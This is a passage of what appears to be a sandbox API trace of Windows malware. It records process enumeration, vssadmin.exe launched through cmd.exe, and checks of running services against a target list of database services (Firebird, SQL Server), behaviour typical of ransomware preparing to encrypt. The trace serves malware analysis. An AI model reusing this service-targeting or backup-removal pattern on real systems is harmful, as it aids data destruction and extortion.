lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0057.124] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0057.124] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0057.124] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0057.124] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0057.125] lstrlenW (lpString="radius.exe") returned 10 [0057.125] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0057.125] lstrlenW (lpString="extensions.exe") returned 14 [0057.125] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0057.125] lstrlenW (lpString="desperate.exe") returned 13 [0057.125] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0057.126] lstrlenW (lpString="professor-mo.exe") returned 16 [0057.126] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0057.126] lstrlenW (lpString="guidance.exe") returned 12 [0057.126] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0057.126] lstrlenW (lpString="week.exe") returned 8 [0057.126] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0057.126] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0057.127] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0057.127] lstrlenW (lpString="sn featured.exe") returned 15 [0057.127] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0057.127] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0057.127] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0057.127] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0057.127] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.128] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.128] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0057.128] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0057.128] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.128] lstrlenW (lpString="cmd.exe") returned 7 [0057.128] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.128] lstrlenW (lpString="conhost.exe") returned 11 [0057.129] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.129] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.129] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.129] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.129] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.129] lstrlenW (lpString="svchost.exe") returned 11 [0057.130] Process32NextW (in: hSnapshot=0x410, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0057.130] CloseHandle (hObject=0x410) returned 1 [0057.130] Sleep (dwMilliseconds=0x1f4) [0057.745] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298030 [0057.746] EnumServicesStatusExW (in: hSCManager=0x3298030, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0057.746] GetLastError () returned 0xea [0057.746] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x5400070 [0057.746] EnumServicesStatusExW (in: hSCManager=0x3298030, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5400070, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5400070, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0057.747] CloseServiceHandle (hSCObject=0x3298030) returned 1 [0057.747] lstrlenW (lpString="Appinfo") returned 7 [0057.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.747] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.747] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.747] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.747] lstrlenW (lpString="AudioSrv") returned 8 [0057.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.748] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.748] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.748] lstrlenW (lpString="BFE") returned 3 [0057.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.748] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.748] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.748] lstrlenW (lpString="CryptSvc") returned 8 [0057.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.748] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.748] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.748] lstrlenW (lpString="CscService") returned 10 [0057.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.748] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.748] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.748] lstrlenW (lpString="DcomLaunch") returned 10 [0057.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.748] lstrlenW (lpString="Dhcp") returned 4 [0057.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.749] lstrlenW (lpString="Dnscache") returned 8 [0057.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.749] lstrlenW (lpString="DPS") returned 3 [0057.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.749] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.749] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.749] lstrlenW (lpString="eventlog") returned 8 [0057.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.749] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.749] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.749] lstrlenW (lpString="EventSystem") returned 11 [0057.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.749] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.749] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.749] lstrlenW (lpString="gpsvc") returned 5 [0057.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.749] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.749] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.749] lstrlenW (lpString="iphlpsvc") returned 8 [0057.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.750] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.750] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.750] lstrlenW (lpString="LanmanServer") returned 12 [0057.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.750] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.750] lstrlenW (lpString="lmhosts") returned 7 [0057.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.750] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.750] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.750] lstrlenW (lpString="MMCSS") returned 5 [0057.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.750] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.750] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.750] lstrlenW (lpString="MpsSvc") returned 6 [0057.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.751] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.751] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.751] lstrlenW (lpString="Netman") returned 6 [0057.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.751] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.751] lstrlenW (lpString="netprofm") returned 8 [0057.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.751] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.751] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.751] lstrlenW (lpString="NlaSvc") returned 6 [0057.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.751] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.751] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.751] lstrlenW (lpString="nsi") returned 3 [0057.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.751] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.751] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.751] lstrlenW (lpString="PcaSvc") returned 6 [0057.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.752] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.752] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.752] lstrlenW (lpString="PlugPlay") returned 8 [0057.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.752] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.752] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.752] lstrlenW (lpString="Power") returned 5 [0057.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.752] lstrlenW (lpString="ProfSvc") returned 7 [0057.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.752] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.752] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.752] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.752] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.752] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.752] lstrlenW (lpString="RpcSs") returned 5 [0057.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.752] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.752] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.753] lstrlenW (lpString="SamSs") returned 5 [0057.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.753] lstrlenW (lpString="Schedule") returned 8 [0057.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.753] lstrlenW (lpString="SENS") returned 4 [0057.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.753] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.753] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.753] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.753] lstrlenW (lpString="Spooler") returned 7 [0057.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.753] lstrlenW (lpString="swprv") returned 5 [0057.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0057.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0057.754] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0057.754] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0057.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0057.754] lstrlenW (lpString="SysMain") returned 7 [0057.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.754] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.754] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.754] lstrlenW (lpString="Themes") returned 6 [0057.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.754] lstrlenW (lpString="TrkWks") returned 6 [0057.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.754] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.754] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.754] lstrlenW (lpString="UxSms") returned 5 [0057.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 